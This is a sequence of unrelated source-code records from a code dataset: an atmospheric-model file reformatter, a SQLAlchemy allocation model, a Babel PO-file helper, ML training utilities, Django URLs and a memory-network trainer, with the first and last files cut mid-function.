---------\n 2015-11-03 Jasmina Written by.\n 2015-12-03 Jasmina Adjusted to work with Ian's binary data.\n \"\"\"\n\n # read the final atmospheric file\n molecules, pressure, temperature, abundances, phi, theta = readatm(TEAfile)\n\n # open the atmospheric file to read and write\n f = open(TEAfile, 'r')\n lines = np.asarray(f.readlines())\n f.close() \n\n # repeat for the column headers\n start = np.where(lines == \"#TEADATA\\n\")[0][0] + 1\n\n # open atmfile to add radius:\n atmfile = TEAfile[:-4] + '.rad'\n fout = open(atmfile, 'w')\n fout.writelines(lines[:start])\n\n # number of layers in the atmosphere\n nLayers = len(abundances)\n\n # number of molecules\n nspec = len(molecules)\n\n # make a list of labels\n label = ['#Radius'.ljust(11)] + ['Pressure'.ljust(11)] + ['Temp'.ljust(8)]\n for i in np.arange(nspec):\n label = label + [molecules[i].ljust(11)]\n label = ''.join(label)\n\n # write new label\n fout.write(label + '\\n')\n\n # find the correct radius array to add to the file\n indx_long = np.where(phi_grid==phi)[0][0]\n indx_lat = np.where(theta_grid==theta)[0][0]\n rad = rad[:, indx_long, indx_lat]\n\n # write atm file for each run\n for i in np.arange(nLayers): \n # radius, pressure, and temp for the current line\n radi = str('%10.3f'%rad[i])\n presi = str('%10.4e'%pressure[i])\n tempi = str('%7.2f'%temperature[i])\n\n # insert radii array\n fout.write(radi.ljust(10) + ' ')\n\n # insert results from the current line (T-P) to atm file\n fout.write(presi.ljust(10) + ' ')\n fout.write(tempi.ljust(7) + ' ')\n\n # write current abundances\n for j in np.arange(nspec):\n fout.write('%1.4e'%abundances[i][j] + ' ')\n fout.write('\\n')\n\n # close atm file\n fout.close()\n\n return atmfile\n\n\ndef reformat(atmfile):\n \"\"\"\n Reformats the TEA output file with added radius array to work with Transit.\n\n Parameters\n ----------\n atmfile: String\n Name of TEA atmospheric ASCII file with radius array in it.\n\n Parameters\n ----------\n output: String\n Name of TEA atmospheric ASCII file reformatted for Transit.\n\n Revisions\n ---------\n 2014-08-25 Patricio Written by.\n 2014-09-20 Jasmina Fixed issue with the line break.\n 2015-11-03 Jasmina Fixed overwriting the files.\n \"\"\"\n\n # open the atmospheric file to read and write\n f = open(atmfile, 'r')\n lines = np.asarray(f.readlines())\n f.close() \n\n # find the Molecule names and remove their suffix\n imol = np.where(lines == \"#SPECIES\\n\")[0][0] + 1\n molecules = lines[imol].split()\n for m in np.arange(len(molecules)):\n molecules[m] = molecules[m].partition('_')[0]\n lines[imol] = \" \".join(molecules) + \"\\n\"\n\n # repeat for the column headers\n start = np.where(lines == \"#TEADATA\\n\")[0][0] + 1\n molecules = lines[start].split()\n for m in np.arange(len(molecules) - 1):\n molecules[m] = \"{:10s}\".format(molecules[m].partition('_')[0]) \n molecules[len(molecules) - 1] = molecules[len(molecules) - 1].partition('_')[0]\n lines[start] = \" \".join(molecules) + \"\\n\"\n\n # reverse order to have layers from bottom to top\n lines = list(lines)\n datalines = lines[start+1:]\n datalines.reverse()\n lines = lines[:start+1] + datalines\n\n # add values' units\n # abundance by number density\n lines.insert(imol-2, \"q number\\n\")\n # pressure in bars:\n lines.insert(imol-2, \"up 1e6\\n\")\n # radius in kilometers:\n lines.insert(imol-2, \"\\n#Values units:\\nur 1e5\\n\")\n\n # save file with the updated lines\n output = atmfile[:-4] + '.dat'\n f = open(output, 'w')\n f.writelines(lines)\n f.close()\n\n return output\n\n\ndef reforTEA(file, n_layers, desc):\n \"\"\"\n Runs TEA on all pre-atm files made from Ian's binary.\n Goes through the TEA output directory and reads all TEA results files\n adds radius, reformats the files to Transit format, and stores them\n in the TransitInp/ directory.\n\n Parameters\n ----------\n file: String\n Name of the binary file.\n desc: String\n Name of the current working directory for that particular run.\n\n Returns\n -------\n None\n\n 2015-12-03 Jasmina Written by.\n \"\"\"\n\n # run TEA in the desired directory\n desc, T, p, rho, rad, phi_grid, theta_grid = rT.runTEA(file, n_layers, desc)\n\n # make Transit input directory, TransitInp\n TransitInp = projectDir + 'run/' + desc + '/TransitInp/'\n if not os.path.exists(TransitInp): os.makedirs(TransitInp)\n\n # go through TEAreform directory and make Transit inputs\n TEAreform = projectDir + 'run/' + desc + '/TEAreform/'\n files = os.listdir(TEAreform)\n n_files = np.size(files) \n for i in np.arange(n_files):\n TEAreform_file = TEAreform + files[i]\n radfile = addRadius(TEAreform_file, rad, phi_grid, theta_grid)\n outfile = reformat(radfile)\n shutil.copy2(outfile, TransitInp + os.path.basename(outfile))\n\n\n'''\n# binary file name\nfile = projectDir + 'code/binary/' + 'GLOB.130'\n\n# current working directory name\ndesc = 'test5'\n\n# number of layers in the atmosphere\nn_layers = 100\n\n# run the code\nreforTEA(file, n_layers, desc)\n'''\n","sub_path":"code/reformat.py","file_name":"reformat.py","file_ext":"py","file_size_in_byte":9916,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"445594047","text":"from sqlalchemy import create_engine, Column, String, Integer\nfrom sqlalchemy.orm import sessionmaker\nfrom sqlalchemy.ext.declarative import declarative_base\n\nfrom models.room import Room\nfrom models.state import allocations, allocations_set, allocations_name_type\n\nBase = declarative_base()\n\n\"\"\"Allocations (Many to Many Relationsip between persons and rooms)\n\nThis class is used to create instances of allocations to be stored in the database.\nGiven the the identifiers are custom i.e. phone number for person and room name for room,\nI chose to avoid the work of mapping db generated identifiers and just have a table with \nmy identifiers as expressed in memory due to time constraints.\n\"\"\"\n\nclass Allocation(Base):\n\n\t__tablename__ = \"allocations\"\n\n\tid_ = Column(Integer, primary_key=True)\n\troomname = Column(String(25))\n\troomtype = Column(String(25))\n\tphonenumber = Column(String(25))\n\n\tdef __init__(self, roomname, roomtype, phonenumber):\n\t\tself.roomname = roomname\n\t\tself.roomtype = roomtype\n\t\tself.phonenumber = phonenumber\n\n\t@classmethod\n\tdef save_state(cls, file_name=\"default\"):\n\t\tallocations = Room.all_allocations()\n\t\tpath = \"db/\"\n\t\tfile_ = file_name+\".db\"\n\t\tengine = create_engine(\"sqlite:///\"+path+file_, echo=False)\n\t\tcls.metadata.create_all(engine)\n\t\tSession = sessionmaker(bind=engine)\n\t\tsession = Session()\n\t\tfor allocation_ in allocations:\n\t\t\troomname = allocation_[0]\n\t\t\troomtype = allocation_[1]\n\t\t\tphonenumber = allocation_[2]\n\t\t\tthis_allocation = cls(roomname, roomtype, phonenumber)\n\t\t\tsession.add(this_allocation)\n\t\tsession.commit()\n\t\tsession.close()\n\n\t@classmethod\n\tdef load_state(cls, file_name=\"default\"):\n\t\tRoom.clear()\n\t\tpath = \"db/\"\n\t\tfile_ = file_name+\".db\"\n\t\tengine = create_engine(\"sqlite:///\"+path+file_, echo=False)\n\t\tSession = sessionmaker(bind=engine)\n\t\tsession = Session()\n\t\tallocation_info = session.query(Allocation).all()\n\t\tfor allocation_ in allocation_info:\n\t\t\tallocation = [allocation_.roomname, allocation_.roomtype, allocation_.phonenumber]\n\t\t\tallocation_str = \"%s-%s-%s\" % (allocation_.roomname, allocation_.roomtype, allocation_.phonenumber)\n\t\t\tallocation_name_type_str = \"%s-%s\" % (allocation_.roomname, allocation_.roomtype)\n\t\t\tallocations.append(allocation)\n\t\t\tallocations_name_type.append(allocation_name_type_str)\n\t\t\tallocations_set.add(allocation_str)\n\t\tsession.close()\n\n\n","sub_path":"models/allocation.py","file_name":"allocation.py","file_ext":"py","file_size_in_byte":2327,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"606008507","text":"# -*- coding: utf-8 -*-\n# Copyright (C) 2010-2016 Martin Glueck All rights reserved\n# Langstrasse 4, A--2244 Spannberg, Austria. martin@mangari.org\n# ****************************************************************************\n# This module is part of the package TFL.Babel.\n#\n# This module is licensed under the terms of the BSD 3-Clause License\n# .\n# ****************************************************************************\n#\n#++\n# Name\n# TFL.Babel.PO_File\n#\n# Purpose\n# Create object for handling PO or POT files using functions from Babel\n#\n# Revision Dates\n# 22-Jan-2010 (MG) Creation\n# 25-Jan-2010 (MG) `combine_package_translations` fixed\n# 24-Feb-2010 (MG) `_make_dir` added and used\n# 10-Oct-2011 (CT) `__getattr__` added (needed by `self.catalog.update` to\n# access `creation_date`)\n# 11-May-2012 (CT) Print `pkg` in case of `ImportError`\n# 7-Jun-2012 (CT) Add `verbose` to `combined`\n# 9-Dec-2013 (CT) Fix 3-compatibility\n# 8-Oct-2015 (CT) Change `__getattr__` to *not* handle `__XXX__`\n# 16-Oct-2015 (CT) Add `__future__` imports\n# 10-Feb-2016 (CT) Fix guard for missing `catalog` in `__init__`\n# 10-Feb-2016 (CT) Change merge not to overwrite `Project-Id-Version`...\n# 10-Feb-2016 (CT) Add `guard` to `load`, adapt callers of `load`\n# ««revision-date»»···\n#--\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nfrom _TFL import TFL\n\nimport _TFL._Babel\nimport _TFL._Meta.Object\nfrom _TFL._Meta.Property import Alias_Property\n\nfrom babel.messages.pofile import write_po, read_po\nfrom babel.messages.mofile import write_mo\nfrom babel.messages.catalog import Catalog\n\nimport os\nimport sys\nimport json\n\nclass PO_File (TFL.Meta.Object) :\n \"\"\"A object to handle PO/POT files.\"\"\"\n\n def __init__ ( self\n , project = u\"Project\"\n , version = u\"0.9\"\n , bugs_address = u\"bugs@domain.unknown\"\n , copyright_holder = u\"Copyright\"\n , charset = u\"utf-8\"\n , width = 76\n , no_location = False\n , omit_header = False\n , sort = True\n , catalog = None\n ) :\n if catalog is None :\n catalog = Catalog \\\n ( project = project\n , version = version\n , msgid_bugs_address = bugs_address\n , copyright_holder = copyright_holder\n , charset = charset\n )\n self.catalog = catalog\n self.width = width\n self.no_location = no_location\n self.omit_header = omit_header\n self.sort = sort\n # end def __init__\n\n def add (self, * args, ** kw) :\n return self.catalog.add (* args, ** kw)\n # end def add\n\n @classmethod\n def combined (cls, * file_names, ** kw) :\n file_iter = iter (file_names)\n verbose = kw.get (\"verbose\")\n for file in file_iter :\n result = cls.load (file, ** kw)\n if result is not None :\n if verbose :\n print (\"Combine translations from\", file, end = \" \")\n break\n for file in file_iter :\n if verbose :\n print (file, end = \" \")\n result.merge (file)\n if verbose :\n print ()\n return result\n # end def combined\n\n @classmethod\n def combine_package_translations (cls, packages) :\n files = []\n for pkg in (p.strip () for p in packages) :\n try :\n __import__ (pkg)\n except ImportError as exc :\n print (exc, repr (pkg))\n raise\n base_dir = os.path.dirname (sys.modules [pkg].__file__)\n pot_file = os.path.join (base_dir, \"-I18N\", \"template.pot\")\n if os.path.isfile (pot_file) :\n files.append (pot_file)\n if files :\n return cls.combined (* files)\n return dict ()\n # end def combine_package_translations\n\n @property\n def fuzzy (self) :\n return self.catalog.fuzzy\n # end def fuzzy\n\n @fuzzy.setter\n def fuzzy (self, value) :\n self.catalog.fuzzy = value\n # end def fuzzy\n\n def generate_js (self, language, file_name, use_fuzzy = False) :\n file = open (file_name, \"w\")\n result = []\n for msg in self.catalog :\n loc = \", \".join (\"%s:%s\" % (f, l) for (f, l) in msg.locations)\n result.append \\\n ( '/* %s */\\n %s : %s'\n % (loc, json.dumps (msg.id), json.dumps (msg.string))\n )\n\n file.write (\"/* Automatically generated translations */\\n\")\n file.write (\"$.I18N.set_catalog\\n\")\n file.write ( \" ( %r\\n , { %s\\n });\\n\"\n % (language, \"\\n , \".join (result))\n )\n file.close ()\n # end def generate_js\n\n def generate_mo (self, file_name, use_fuzzy = False) :\n self._make_dir (file_name)\n file = open (file_name, 'wb')\n try:\n write_mo (file, self.catalog, use_fuzzy = use_fuzzy)\n finally:\n file.close ()\n # end def generate_mo\n\n @classmethod\n def load (cls, file_name, locale = None, * args, ** kw) :\n try :\n f = open (file_name, \"U\")\n except IOError :\n pass\n else :\n with f :\n pof = read_po (f, locale = locale)\n return cls (catalog = pof, * args, ** kw)\n # end def load\n\n def _make_dir (self, file_name) :\n dir_name = os.path.dirname (file_name)\n if not os.path.exists (dir_name) :\n os.makedirs (dir_name)\n # end def _make_dir\n\n def merge (self, file_name) :\n other = self.__class__.load (file_name)\n if other is not None :\n for msg in other :\n if msg.id : ### Don't overwrite Project-Id-Version...\n d = dict ( (k, getattr (msg, k))\n for k in ( \"id\", \"string\", \"locations\"\n , \"flags\", \"auto_comments\"\n , \"user_comments\", \"previous_id\", \"lineno\"\n )\n )\n self.add (** d)\n # end def merge\n\n def save (self, file_name, fuzzy = None, ** kw) :\n self._make_dir (file_name)\n if fuzzy is not None :\n self.catalog.fuzzy = fuzzy\n write_po \\\n ( open (file_name, \"w\")\n , catalog = self.catalog\n , width = self.width\n , no_location = self.no_location\n , omit_header = self.omit_header\n , sort_output = kw.pop (\"sort\", self.sort)\n , ** kw\n )\n # end def save\n\n def update (self, template, no_fuzzy_matching=False) :\n return self.catalog.update (template, no_fuzzy_matching)\n # end def update\n\n def __contains__ (self, item) :\n return item in self.catalog\n # end def __contains__\n\n def __getattr__ (self, name) :\n if name.startswith (\"__\") and name.endswith (\"__\") :\n ### Placate inspect.unwrap of Python 3.5,\n ### which accesses `__wrapped__` and eventually throws `ValueError`\n return getattr (self.__super, name)\n if name != \"catalog\" :\n return getattr (self.catalog, name)\n raise AttributeError (name)\n # end def __getattr__\n\n def __iter__ (self) :\n return iter (self.catalog)\n # end def __iter__\n\n def __len__ (self) :\n return len (self.catalog)\n # end def __len__\n\n def __repr__ (self) :\n return \"<%s %s>\" % (self.__class__.__name__, self.catalog.project)\n # end def __repr__\n\n# end class PO_File\n\nif __name__ != \"__main__\" :\n TFL.Babel._Export (\"*\")\n### __END__ TFL.Babel.PO_File\n","sub_path":"Functions/venv/lib/python3.6/site-packages/_TFL/_Babel/PO_File.py","file_name":"PO_File.py","file_ext":"py","file_size_in_byte":8244,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"571945286","text":"import collections\nimport datetime\nimport enum\nimport os\nimport pathlib\nimport random\nimport shutil\nimport time\nimport uuid\nfrom typing import Any, Dict, List, Optional, cast\n\nimport numpy as np\nimport simplejson\n\nimport determined as det\nfrom determined_common import check, util\n\n\n@util.preserve_random_state\ndef download_gcs_blob_with_backoff(blob: Any, n_retries: int = 32, max_backoff: int = 32) -> Any:\n for n in range(n_retries):\n try:\n return blob.download_as_string()\n except Exception:\n time.sleep(min(2 ** n + random.random(), max_backoff))\n raise Exception(\"Max retries exceeded for downloading blob.\")\n\n\ndef is_overridden(full_method: Any, parent_class: Any) -> bool:\n \"\"\"Check if a function is overriden over the given parent class.\n\n Note that full_method should always be the name of a method, but users may override\n that name with a variable anyway. In that case we treat full_method as not overridden.\n \"\"\"\n if callable(full_method):\n return cast(bool, full_method.__qualname__.partition(\".\")[0] != parent_class.__name__)\n return False\n\n\ndef _list_to_dict(list_of_dicts: List[Dict[str, Any]]) -> Dict[str, List[Any]]:\n \"\"\"Transpose list of dicts to dict of lists.\"\"\"\n dict_of_lists = collections.defaultdict(list) # type: Dict[str, List[Any]]\n for d in list_of_dicts:\n for key, value in d.items():\n dict_of_lists[key].append(value)\n return dict_of_lists\n\n\ndef _dict_to_list(dict_of_lists: Dict[str, List]) -> List[Dict[str, Any]]:\n \"\"\"Transpose a dict of lists to a list of dicts.\n\n dict_to_list({\"a\": [1, 2], \"b\": [3, 4]})) -> [{\"a\": 1, \"b\": 3}, {\"a\": 2, \"b\": 4}]\n\n In some cases _dict_to_list is the inverse of _list_to_dict. This function assumes that\n all lists have the same length.\n \"\"\"\n\n list_len = len(list(dict_of_lists.values())[0])\n for lst in dict_of_lists.values():\n check.check_len(lst, list_len, \"All lists in the dict must be the same length.\")\n\n output_list = [{} for _ in range(list_len)] # type: List[Dict[str, Any]]\n for i in range(list_len):\n for k in dict_of_lists.keys():\n output_list[i][k] = dict_of_lists[k][i]\n\n return output_list\n\n\ndef validate_batch_metrics(batch_metrics: List[Dict[str, Any]]) -> None:\n metric_dict = _list_to_dict(batch_metrics)\n\n # We expect that every batch has a metric named \"loss\".\n check.true(\n any(v for v in metric_dict if v.startswith(\"loss\")),\n \"model did not compute 'loss' training metric\",\n )\n\n # We expect that all batches have the same set of metrics.\n metric_dict_keys = metric_dict.keys()\n for idx, metric_dict in zip(range(len(batch_metrics)), batch_metrics):\n keys = metric_dict.keys()\n if metric_dict_keys == keys:\n continue\n\n check.eq(metric_dict_keys, keys, \"inconsistent training metrics: index: {}\".format(idx))\n\n\ndef make_metrics(num_inputs: Optional[int], batch_metrics: List[Dict[str, Any]]) -> Dict[str, Any]:\n \"\"\"Make metrics dict including aggregates given individual data points.\"\"\"\n\n metric_dict = _list_to_dict(batch_metrics)\n validate_batch_metrics(batch_metrics)\n\n avg_metrics = {} # type: Dict[str, Optional[float]]\n for name, values in metric_dict.items():\n m = None # type: Optional[float]\n try:\n values = np.array(values)\n filtered_values = values[values != None] # noqa: E711\n m = np.mean(filtered_values)\n except (TypeError, ValueError):\n # If we get here, values are non-scalars, which cannot be averaged.\n # We keep the key so consumers can see all the metric names but\n # leave the value as None.\n pass\n avg_metrics[name] = m\n\n metrics = {\"batch_metrics\": batch_metrics, \"avg_metrics\": avg_metrics}\n if num_inputs is not None:\n metrics[\"num_inputs\"] = num_inputs\n\n return metrics\n\n\ndef wrap_metrics(metrics: det.workload.Response, stop_requested: bool) -> det.workload.Response:\n \"\"\"Make workload response with metrics and stop_requested flag (or is Skipped if not chief).\"\"\"\n if isinstance(metrics, det.workload.Skipped):\n return metrics\n else:\n return {\n \"metrics\": metrics,\n \"stop_requested\": stop_requested,\n }\n\n\ndef json_encode(obj: Any, indent: Optional[str] = None, sort_keys: bool = False) -> str:\n def json_serializer(obj: Any) -> Any:\n if isinstance(obj, datetime.datetime):\n return obj.isoformat()\n if isinstance(obj, enum.Enum):\n return obj.name\n if isinstance(obj, np.float64):\n return float(obj)\n if isinstance(obj, np.float32):\n return float(obj)\n if isinstance(obj, np.int64):\n return int(obj)\n if isinstance(obj, np.int32):\n return int(obj)\n if isinstance(obj, uuid.UUID):\n return str(obj)\n if isinstance(obj, np.ndarray):\n return obj.tolist()\n # Objects that provide their own custom JSON serialization.\n if hasattr(obj, \"__json__\"):\n return obj.__json__()\n\n raise TypeError(\"Unserializable object {} of type {}\".format(obj, type(obj)))\n\n # NB: We serialize NaN, Infinity, and -Infinity as `null`, because\n # those are not allowed by the JSON spec.\n s = simplejson.dumps(\n obj, default=json_serializer, ignore_nan=True, indent=indent, sort_keys=sort_keys\n ) # type: str\n return s\n\n\ndef write_user_code(path: pathlib.Path) -> None:\n code_path = path.joinpath(\"code\")\n\n # When restarting from checkpoint, it is possible that the code path is already present\n # in the checkpoint directory. This happens for EstimatorTrial because we overwrite the\n # estimator model directory with the checkpoint folder at the start of training.\n if code_path.exists():\n shutil.rmtree(str(code_path))\n\n # Pytorch and tf.1 keras models can only be restored from a checkpoint if\n # the original code is present. The model code is the current working\n # directory. Therefore we save the current directory with the checkpoint.\n shutil.copytree(os.getcwd(), code_path, ignore=shutil.ignore_patterns(\"__pycache__\"))\n os.chmod(code_path, 0o755)\n","sub_path":"harness/determined/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":6302,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"589829822","text":"from django.urls import path\n\nfrom . import views\n\nurlpatterns = [\n path('', views.index, name='home'),\n path('dataset/', views.DatasetPageView.as_view(), name='dataset'),\n path('target_model/', views.TargetPageView.as_view(), name='target_model'),\n path('about/', views.AboutPageView.as_view(), name='about')\n]","sub_path":"v11-LR v1.0/pages/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":323,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"561426406","text":"\"\"\"\nIs not finished as independent script\n\n\"\"\"\n\nlist_of_deltas = []\n\nmins = []\nmaxs = []\nmeans = []\n\nfor index in range(1, len(list_slices) - 1):\n\t# take mean of previous tests\n\tprevious_mean = list(map(lambda elements: sum(elements) / len(elements), zip(*list_slices[:index])))\n\tlatest_experiment = list(map(lambda elements: sum(elements) / len(elements), zip(*list_slices[:index+1])))\n\n\tdelta = list(map(lambda x: abs(x[0]-x[1]), zip(latest_experiment, previous_mean)))\n\n\tlist_of_deltas.append(delta)\n\tmins.append(min(delta))\n\tmaxs.append(max(delta))\n\tmeans.append(sum(delta) / len(delta))\n\nfor index, value in enumerate(maxs):\n\tprint(index, \"{:.20f}\".format(value))\nprint(\"\\n\\n\")\nfor index, value in enumerate(means):\n\tprint(index, \"{:.20f}\".format(value))","sub_path":"NEST/misc/delta_counting.py","file_name":"delta_counting.py","file_ext":"py","file_size_in_byte":759,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"188726084","text":"# encoding:utf-8\nimport torch\nimport torch.nn as nn\nimport os\nimport importlib.util\nimport time\nimport numpy as np\n\nimport sys\nsys.path.append('./')\nfrom utils.misc_utils import get_records, log_record_dict\nfrom utils.plot_utils import create_curve_plots\nfrom models.rule import RuleExtractor\n\n\n'''\nStory: 32 * 20(max_num_story) * max_sent_len\nQuery: 32 * max_sent_len\nAnswer: 32 * max_sent_len\n\nData_story: train_num * max_num_story * max_sent_len\nData_answer: train_num * max_sent_len\nData_query:train_num * max_sent_len\n'''\n\n\nclass Trainer:\n def __init__(self, device, logger, global_records, config, *args, **kwargs):\n # Initializations\n self.device = device\n self.logger = logger\n self.global_records = global_records\n self.config = config\n\n # Load net module\n assert 'net_path' in self.config['net'], \"net_path not specified in config['net']\"\n spec = importlib.util.spec_from_file_location('net_mod', self.config['net']['net_path'])\n net_mod = importlib.util.module_from_spec(spec)\n spec.loader.exec_module(net_mod)\n sys.modules['net_mod'] = net_mod\n # First load network\n self.net = net_mod.Net(self.device, self.logger, self.config['init'],\n num_vocab=kwargs[\"num_vocab\"],\n sentence_size=kwargs[\"sentence_size\"])\n self.rule = RuleExtractor(self.device, self.logger, self.config['init'])\n # Then load its params if available\n if self.config['net'].get('saved_params_path', None) is not None:\n self.load_net(self.config['net']['saved_params_path'])\n # Transfer network to device\n self.net.to(self.device)\n self.logger.info(self.net)\n\n self.data_loader = None\n\n def fit(self, tr_loader, val_loader, *args, **kwargs):\n self.data_loader = tr_loader\n # Initialize params\n if 'max_epoch' in kwargs:\n max_epoch = kwargs['max_epoch']\n elif 'max_epoch' in self.config['train']['stop_crit']:\n max_epoch = self.config['train']['stop_crit']['max_epoch']\n else:\n max_epoch = 100\n\n if 'max_patience' in kwargs:\n max_patience = kwargs['max_patience']\n elif 'max_patience' in self.config['train']['stop_crit']:\n max_patience = self.config['train']['stop_crit']['max_patience']\n else:\n max_patience = 10\n\n # Train epochs\n best_valid_loss = np.inf\n best_valid_acc = 0.0\n best_valid_epoch = 0\n early_break = False\n for epoch in range(max_epoch):\n self.logger.info('\\n' + 40 * '%' + ' EPOCH {} '.format(epoch) + 40 * '%')\n\n # Run train epoch\n t = time.time()\n epoch_records = self.run_epoch(tr_loader, 'train', epoch, *args, **kwargs)\n lr = self._decay_learning_rate(self.net.optimizer, epoch)\n # Log and print train epoch records\n log_record_dict('train', epoch_records, self.global_records)\n self.print_record_dict(epoch_records, 'Train', time.time() - t)\n self.global_records['result'].update({\n 'final_train_loss': epoch_records['loss'],\n 'final_train_acc': epoch_records['acc'],\n 'final_train_F1': epoch_records['F1'],\n 'final_train_Rule_F1_1_hop': epoch_records['Rule_F1_1_hop'],\n 'final_train_Rule_F1_2_hops': epoch_records['Rule_F1_2_hops'],\n 'final_train_epoch': epoch\n })\n\n if val_loader is not None:\n # Run valid epoch\n t = time.time()\n epoch_records = self.run_epoch(val_loader, 'eval', epoch, *args, **kwargs)\n\n # Log and print valid epoch records\n log_record_dict('valid', epoch_records, self.global_records)\n self.print_record_dict(epoch_records, 'Valid', time.time() - t)\n self.global_records['result'].update({\n 'final_valid_loss': epoch_records['loss'],\n 'final_valid_acc': epoch_records['acc'],\n 'final_valid_F1': epoch_records['F1'],\n 'final_valid_Rule_F1_1_hop': epoch_records['Rule_F1_1_hop'],\n 'final_valid_Rule_F1_2_hops': epoch_records['Rule_F1_2_hops'],\n 'final_valid_epoch': epoch\n })\n\n # Check for early-stopping\n if epoch_records['loss'] < best_valid_loss:\n best_valid_loss = epoch_records['loss']\n best_valid_acc = epoch_records['acc']\n best_valid_F1 = epoch_records['F1']\n best_valid_Rule_F1_1_hop = epoch_records['Rule_F1_1_hop']\n best_valid_Rule_F1_2_hops = epoch_records['Rule_F1_2_hops']\n best_valid_epoch = epoch\n self.global_records['result'].update({\n 'best_valid_loss': best_valid_loss,\n 'best_valid_acc': best_valid_acc,\n 'best_valid_F1': best_valid_F1,\n 'best_valid_Rule_F1_1_hop': best_valid_Rule_F1_1_hop,\n 'best_valid_Rule_F1_2_hops': best_valid_Rule_F1_2_hops,\n 'best_valid_epoch': best_valid_epoch\n })\n self.logger.info(' Best validation loss improved to {:.03f}'.format(best_valid_loss))\n self.save_net(os.path.join(self.config['outdir'], 'best_valid_params.ptp'))\n\n if best_valid_loss < np.min(get_records('valid.loss', self.global_records)[-max_patience:]):\n early_break = True\n\n # Produce plots\n plots = self._plot_helper()\n if plots is not None:\n for k, v in plots.items():\n create_curve_plots(k, v['plot_dict'], v['coarse_range'], v['fine_range'], self.config['outdir'])\n\n # Save net\n self.save_net(os.path.join(self.config['outdir'], 'final_params.ptp'))\n\n # Early-stopping\n if early_break:\n self.logger.warning(\n 'Early Stopping because validation loss did not improve for {} epochs'.format(max_patience))\n break\n\n def run_epoch(self, data_loader, mode, epoch, *args, **kwargs):\n log = self.config['init']['log_interval']\n # Train\n if mode == 'train':\n ## Set network mode\n self.net.train()\n torch.set_grad_enabled(True)\n for batch_idx, (story, query, target) in enumerate(data_loader):\n story, query, target = story.to(self.device), query.to(self.device), target.to(self.device)\n ## Train on the data batch\n batch_loss = self.net.fit_batch(story, query, target)\n # Log stuff\n if batch_idx % log == 0:\n self.logger.debug('Train Epoch: {} [{}/{} ({:.0f}%)]\\tLoss: {:.6f}'.format(\n epoch, (batch_idx + 1) * len(story), len(data_loader.dataset),\n 100.0 * (batch_idx + 1.0) / len(data_loader), batch_loss))\n\n # Evaluate\n epoch_loss = 0.0\n epoch_correct = 0\n epoch_F1 = 0.0\n epoch_rule_F1 = np.zeros((len(self.config['init']['rule_hops'])))\n epoch_total = 0\n ## Set network mode\n self.net.eval()\n torch.set_grad_enabled(False)\n for batch_idx, (story, query, target) in enumerate(data_loader):\n story, query, target = story.to(self.device), query.to(self.device), target.to(self.device)\n ### initialize record\n batch_loss = 0.\n batch_correct = 0\n batch_F1 = 0.\n batch_total = story.shape[0] # batch_total = batch_size\n ## Predict output\n net_out = self.net(story, query)\n rule_out = self.rule.extract(story.cpu().numpy(), query.cpu().numpy(),\n np.zeros((story.shape[0], 1), dtype=np.int).tolist())\n batch_rule_F1 = np.zeros((len(self.config['init']['rule_hops'])))\n # rule_out = self.random_choose(story, query)\n ## Compute loss and accuracy\n if len(target.shape) == 1: # for bAbI\n batch_loss = self.net.total_loss(net_out[1], target).data\n batch_acc, batch_correct = self.compute_topK_acc(\n nn.Softmax(dim=1)(net_out[0]), target, K=self.config['K'])\n elif len(target.shape) == 2: # for lic\n batch_loss = self.net.total_loss(net_out[1], target.float()).data\n log_flag = True if batch_idx % log == 0 else False\n # idx_word = data_loader.dataset.idx_word\n #\n # def print_sent(idx, idx_word):\n # idx = idx.tolist()\n # res = [idx_word[i] for i in idx]\n # res = list(set(res))\n # return res\n # if log_flag:\n # tmp = \"Key word extraction for sentence \\'{}\\'\"\\\n # .format(print_sent(query[0, :].cpu().numpy(), idx_word)).encode('gbk')\n # self.logger.debug(tmp)\n # for ith in range(rule_out.shape[1]):\n # tmp = \"{} hop rule output:{}\".format(ith + 1, print_sent(rule_out[0, ith, :], idx_word))\\\n # .encode('gbk')\n # self.logger.debug(tmp)\n\n batch_precision, batch_recall, batch_F1 = self.compute_F1(\n nn.Softmax(dim=1)(net_out[0]), target, log_flag, -1)\n\n def process_rule(rule_out):\n res = []\n for ith in range(rule_out.shape[1]):\n ans = torch.zeros_like(target)\n for bs in range(rule_out.shape[0]):\n for r in rule_out[bs, ith, :]:\n if r != 0:\n ans[bs, int(r)] = 1\n res.append(ans)\n return res\n\n rule_out_lis = process_rule(rule_out)\n for ith, rule_res in enumerate(rule_out_lis):\n rule_precision, rule_recall, batch_rule_F1[ith] = self.compute_F1(\n rule_res, target, log_flag, ith + 1)\n\n epoch_loss += batch_loss\n epoch_correct += batch_correct\n epoch_F1 += batch_F1\n epoch_rule_F1 += batch_rule_F1\n epoch_total += batch_total\n\n epoch_rule_F1 = epoch_rule_F1.tolist()\n # Return epoch records\n epoch_records = {\n 'loss': epoch_loss.data.item() / float(epoch_total),\n 'acc': 100.0 * float(epoch_correct) / float(epoch_total),\n 'F1': 100.0 * float(epoch_F1) / float(len(data_loader)),\n 'Rule_F1_1_hop': 100.0 * float(epoch_rule_F1[0]) / float(len(data_loader)),\n 'Rule_F1_2_hops': 100.0 * float(epoch_rule_F1[1]) / float(len(data_loader)),\n }\n return epoch_records\n\n def evaluate(self, data_loader, *args, **kwargs):\n # Run eval\n t = time.time()\n epoch_records = self.run_epoch(data_loader, 'eval', 0, *args, **kwargs)\n\n # Log and print epoch records\n log_record_dict('Eval', epoch_records, self.global_records)\n self.print_record_dict(epoch_records, 'Eval', time.time() - t)\n self.global_records['result'].update({\n 'loss': epoch_records['loss'],\n 'acc': epoch_records['acc'],\n 'F1': epoch_records['F1'],\n 'Rule_F1_1_hop': epoch_records['Rule_F1_1_hop'],\n 'Rule_F1_2_hops': epoch_records['Rule_F1_1_hop'],\n })\n\n def save_net(self, filename):\n 